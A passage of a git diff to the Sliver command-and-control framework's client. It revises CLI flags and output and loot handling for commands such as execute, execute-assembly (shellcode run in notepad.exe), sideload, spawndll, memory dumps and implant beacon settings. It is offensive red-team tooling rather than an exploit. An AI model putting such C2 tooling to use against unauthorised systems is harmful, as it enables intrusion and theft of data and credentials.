-			for _, rowEntry := range rowEntries {
-				if filter != "" {
-					if strings.Contains(rowEntry, filter) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-				if filterRegex != nil {
-					if filterRegex.MatchString(rowEntry) {
-						tw.AppendRow(row)
-						break
-					}
-				}
-			}
+			})
 		}
 	}
 	return tw

client/command/beacons/watch.go

@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			if err != nil {
 				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
 			}
-			tw := renderBeacons(beacons.Beacons, "", nil, con)
+			tw := renderBeacons(beacons.Beacons, con)
 			lines := strings.Split(tw.Render(), "\n")
 			for _, line := range lines {
 				con.Printf(console.Clearln+"\r%s\n", line)

client/command/commands.go

@@ -63,7 +63,6 @@ import (
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
 	"github.com/bishopfox/sliver/client/command/reaction"
-	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
@@ -399,7 +398,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
-			f.Bool("D", "disable-otp", false, "disable otp authentication")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -477,8 +475,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
-			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
-			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -507,47 +503,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.MultiplayerHelpGroup,
 	})
 
-	// [ Reconfig ] ---------------------------------------------------------------
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ReconfigStr,
-		Help:     "Reconfigure the active beacon/session",
-		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
-		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
-			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
-			f.String("i", "beacon-interval", "", "beacon callback interval")
-			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			reconfig.ReconfigCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.RenameStr,
-		Help:     "Rename the active beacon/session",
-		LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
-		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			reconfig.RenameCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	// [ Sessions ] --------------------------------------------------------------
 
 	sessionsCmd := &grumble.Command{
@@ -559,10 +514,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
-			f.Bool("F", "force", false, "force session action without waiting for results")
-
-			f.String("f", "filter", "", "filter sessions by substring")
-			f.String("e", "filter-re", "", "filter sessions by regular expression")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -579,7 +530,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
-			f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -593,6 +543,26 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(sessionsCmd)
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ReconfigStr,
+		Help:     "Reconfigure the active session",
+		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "agent name to change to")
+			f.Int("r", "reconnect", -1, "reconnect interval for agent")
+			f.Int("p", "poll", -1, "poll interval for agent")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sessions.SessionsReconfigCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.BackgroundStr,
 		Help:     "Background an active session",
@@ -620,7 +590,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("F", "force", false, "Force kill,  does not clean up")
+			f.Bool("f", "force", false, "Force kill,  does not clean up")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -994,12 +964,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("o", "output", false, "capture command output")
-			f.Bool("s", "save", false, "save output to a file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
-			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1032,7 +1000,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
-			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1077,8 +1044,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
-			f.Bool("X", "loot", false, "save output as loot")
-			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1104,8 +1069,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
 			f.Bool("s", "save", false, "save output to file")
-			f.Bool("X", "loot", false, "save output as loot")
-			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
 		},
@@ -1260,9 +1223,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
-			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
-
-			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1317,9 +1277,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
-			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
-
-			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1468,9 +1425,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
-			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
-			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1526,13 +1480,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("n", "dns", "", "dns connection strings")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
-			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
-			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1647,24 +1598,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Filesystem ] ---------------------------------------------
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.MvStr,
-		Help:     "Move or rename a file",
-		LongHelp: help.GetHelpFor([]string{consts.MvStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("src", "path to source file")
-			a.String("dst", "path to dest file")
-		},
-		Run: func(ctx *grumble.Context) error {
-			err := filesystem.MvCmd(ctx, con)
-			return err
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LsStr,
 		Help:     "List current directory",
@@ -1693,7 +1626,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.RmStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Bool("r", "recursive", false, "recursively remove files")
-			f.Bool("F", "force", false, "ignore safety and forcefully remove files")
+			f.Bool("f", "force", false, "ignore safety and forcefully remove files")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1772,9 +1705,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "colorize-output", false, "colorize output")
 			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
-			f.String("n", "name", "", "name to assign loot (optional)")
-			f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
-			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to the file to print")
@@ -1796,9 +1726,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 
 			f.Bool("X", "loot", false, "save output as loot")
-			f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
-			f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
-			f.String("n", "name", "", "name to assign the download if looting")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("remote-path", "path to the file or directory to download")
@@ -1909,8 +1836,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("p", "pid", -1, "target pid")
 			f.String("n", "name", "", "target process name")
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
-			f.Bool("X", "loot", false, "save output as loot")
-			f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1937,7 +1862,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			a.Uint("pid", "pid")
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("F", "force", false, "disregard safety and kill the PID")
+			f.Bool("f", "force", false, "disregard safety and kill the PID")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2144,7 +2069,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "save to file (will overwrite if exists)")
 			f.Bool("X", "loot", false, "save output as loot")
-			f.String("n", "name", "", "name to assign loot (optional)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2188,10 +2112,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
-			f.Bool("F", "force", false, "force killing of the beacon")
-			f.String("f", "filter", "", "filter beacons by substring")
-			f.String("e", "filter-re", "", "filter beacons by regular expression")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.GenericHelpGroup,
@@ -2775,7 +2695,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
-			f.Uint64("i", "id", 0, "id of portfwd to remove")
+			f.Int("i", "id", 0, "id of portfwd to remove")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -2861,7 +2781,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Add a remote file from the current session to the server's loot store",
 		LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}),
 		Args: func(a *grumble.Args) {
-			a.String("path", "The file path on the remote host to the loot")
+			a.String("path", "The local file path to the loot")
 		},
 		Flags: func(f *grumble.Flags) {
 			f.String("n", "name", "", "name of this piece of loot")

client/command/exec/execute-assembly.go

@@ -20,10 +20,13 @@ package exec
 
 import (
 	"context"
+	"fmt"
 	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -77,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("%s", err)
 		return
 	}
-	hostName := getHostname(session, beacon)
+	hostname := getHostname(session, beacon)
 	if execAssembly.Response != nil && execAssembly.Response.Async {
 		con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, execAssembly)
@@ -85,27 +88,52 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-
-			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
+			PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
+		PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
 	}
 }
 
-func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
+// PrintExecuteAssembly - Print the results of an assembly execution
+func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
+	assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}
 
-	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, _ = ioutil.TempFile("", outFile)
+	}
+	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAssembly.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
 
-	if saveLoot {
-		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
+	if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
+		name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
+		err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
 	}
 }
+
+func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
+	if session != nil {
+		return session.Hostname
+	}
+	if beacon != nil {
+		return beacon.Hostname
+	}
+	return ""
+}

client/command/exec/execute-shellcode.go

@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 		return
 	}
 
-	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
 
 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),

client/command/exec/execute.go

@@ -18,11 +18,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
-	"os"
-	"path/filepath"
 	"strings"
-	"time"
 
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
@@ -45,12 +41,6 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	output := ctx.Flags.Bool("output")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
-	saveLoot := ctx.Flags.Bool("loot")
-	saveOutput := ctx.Flags.Bool("save")
-	hostName := getHostname(session, beacon)
-
-	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
-	var captureOutput bool = output || saveLoot || saveOutput
 
 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -66,7 +56,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  captureOutput,
+			Output:  output,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -75,7 +65,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
-			Output:  captureOutput,
+			Output:  output,
 			Stderr:  stderr,
 			Stdout:  stdout,
 		})
@@ -94,42 +84,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
+			PrintExecute(exec, ctx, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
+		PrintExecute(exec, ctx, con)
 	}
 }
 
-func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var lootedOutput []byte
-	stdout := ctx.Flags.String("stdout")
-	saveLoot := ctx.Flags.Bool("loot")
-	saveOutput := ctx.Flags.Bool("save")
-	lootName := ctx.Flags.String("name")
-	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-
-	if saveLoot || saveOutput {
-		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
-	}
-
-	if saveLoot {
-		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
-	}
-
-	if saveOutput {
-		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
-	}
-
-	PrintExecute(exec, ctx, con)
-}
-
 // PrintExecute - Print the output of an executed command
 func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	saveLoot := ctx.Flags.Bool("loot")
 	stdout := ctx.Flags.String("stdout")
 	stderr := ctx.Flags.String("stderr")
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
 
 	output := ctx.Flags.Bool("output")
 	if !output {
@@ -141,14 +111,17 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 		return
 	}
 
+	combined := ""
 	if stdout == "" {
-		con.PrintInfof("Output:\n%s", string(exec.Stdout))
+		combined = string(exec.Stdout)
+		con.PrintInfof("Output:\n%s", combined)
 	} else {
 		con.PrintInfof("Stdout saved at %s\n", stdout)
 	}
 
 	if stderr == "" {
 		if !ignoreStderr && 0 < len(exec.Stderr) {
+			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
 			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
 		}
 	} else {
@@ -158,96 +131,13 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
 	if exec.Status != 0 {
 		con.PrintErrorf("Exited with status %d!\n", exec.Status)
 	}
-}
-
-func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
-	if session != nil {
-		return session.Hostname
-	}
-	if beacon != nil {
-		return beacon.Hostname
-	}
-	return ""
-}
-
-func determineCommandName(command string) string {
-	commandName := strings.ReplaceAll(command, "\\", "/")
-
-	commandName = commandName[strings.LastIndex(commandName, "/")+1:]
-
-	if strings.Contains(commandName, ".") {
-		commandName = commandName[:strings.LastIndex(commandName, ".")]
-	}
-
-	return commandName
-}
-
-func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
-	var outputString string = ""
-
-	if combineStdOut {
-		outputString += "Output (stdout):\n" + string(exec.Stdout)
-	}
-
-	if combineStdErr {
-		if combineStdOut {
-			outputString += "\n"
+	if saveLoot && 0 < len(combined) {
+		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
 		}
-		outputString += "Stderr:\n" + string(exec.Stderr)
-	}
-
-	return []byte(outputString)
-}
-
-func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
-	if len(commandOutput) == 0 {
-		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
-		return
-	}
-
-	timeNow := time.Now().UTC().Format("20060102150405")
-
-	shortCommandName := determineCommandName(cmdName)
-
-	fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
-	if lootName == "" {
-		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
-	}
-
-	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
-	loot.SendLootMessage(lootMessage, con)
-}
-
-func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
-	con.PrintInfof("Output:\n%s", executionOutput)
-
-	if saveOutput {
-		SaveExecutionOutput(executionOutput, commandName, hostName, con)
-	}
-}
-
-func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
-	var outFilePath *os.File
-	var err error
-
-	if len(executionOutput) == 0 {
-		con.PrintInfof("There was no output from execution, so there is nothing to save.")
-		return
-	}
-
-	timeNow := time.Now().UTC().Format("20060102150405")
-
-	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
-
-	outFilePath, err = ioutil.TempFile("", outFileName)
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if outFilePath != nil {
-		outFilePath.Write([]byte(executionOutput))
-		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/sideload.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
@@ -69,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	hostName := getHostname(session, beacon)
+	hostname := getHostname(session, beacon)
 	if sideload.Response != nil && sideload.Response.Async {
 		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, sideload)
@@ -77,27 +78,34 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-
-			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
+			PrintSideload(sideload, hostname, ctx, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
+		PrintSideload(sideload, hostname, ctx, con)
 	}
 }
 
-func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
-
+// PrintSideload - Print the sideload command output
+func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}
 
-	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
-
-	if saveLoot {
-		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", sideload.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideload.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/exec/spawndll.go

@@ -4,6 +4,8 @@ import (
 	"context"
 	"fmt"
 	"io/ioutil"
+	"os"
+	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -46,7 +48,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl <- true
 	<-ctrl
 
-	hostName := getHostname(session, beacon)
+	hostname := getHostname(session, beacon)
 	if spawndll.Response != nil && spawndll.Response.Async {
 		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
 			err = proto.Unmarshal(task.Response, spawndll)
@@ -54,27 +56,34 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-
-			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
+			PrintSpawnDll(spawndll, hostname, ctx, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
+		PrintSpawnDll(spawndll, hostname, ctx, con)
 	}
 }
 
-func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
